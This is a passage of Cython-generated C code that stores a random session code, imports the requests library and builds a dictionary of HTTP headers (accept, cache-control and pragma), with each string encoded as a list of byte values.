    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_generate_random_code); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 399, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_10 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_10)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_10);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_13 = (__pyx_t_10) ? __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_10) : __Pyx_PyObject_CallNoArg(__pyx_t_5);
    __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 399, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_sess, __pyx_t_13) < 0) __PYX_ERR(0, 399, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_Import(__pyx_n_s_requests, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 400, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_requests, __pyx_t_13) < 0) __PYX_ERR(0, 400, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __pyx_t_5 = PyList_New(6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_116);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(96); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 25, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 26, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_43);
    __Pyx_GIVEREF(__pyx_int_43);
    PyList_SET_ITEM(__pyx_t_10, 27, __pyx_int_43);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_10, 28, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 29, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 30, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 31, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 32, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 33, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 34, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 35, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 36, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 37, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 38, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 39, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 40, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 41, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 42, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 43, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_10, 44, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 45, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 46, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_10, 47, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_10, 48, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_10, 49, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_10, 50, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_10, 51, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_57);
    __Pyx_GIVEREF(__pyx_int_57);
    PyList_SET_ITEM(__pyx_t_10, 52, __pyx_int_57);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 53, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 54, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 55, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 56, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 57, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 58, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 59, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 60, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_10, 61, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 62, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_10, 63, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 64, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 65, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 66, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 67, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 68, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 69, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 70, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_10, 71, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 72, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_10, 73, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 74, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 75, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 76, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 77, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 78, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 79, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 80, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 81, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 82, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 83, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 84, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 85, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 86, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_10, 87, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 88, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_10, 89, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_10, 90, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_10, 91, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_10, 92, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_10, 93, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_10, 94, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_10, 95, __pyx_int_56);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_13, __pyx_t_5, __pyx_t_10) < 0) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(13); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 403, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_108);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 403, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 403, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 403, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 403, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 403, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_13, __pyx_t_10, __pyx_t_5) < 0) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 404, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_97);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 404, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 404, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(8); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 404, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 404, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 404, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_13, __pyx_t_5, __pyx_t_10) < 0) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
